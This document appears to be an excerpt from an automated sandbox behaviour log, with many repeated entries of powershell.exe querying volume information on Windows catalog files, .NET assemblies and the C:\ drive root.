Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
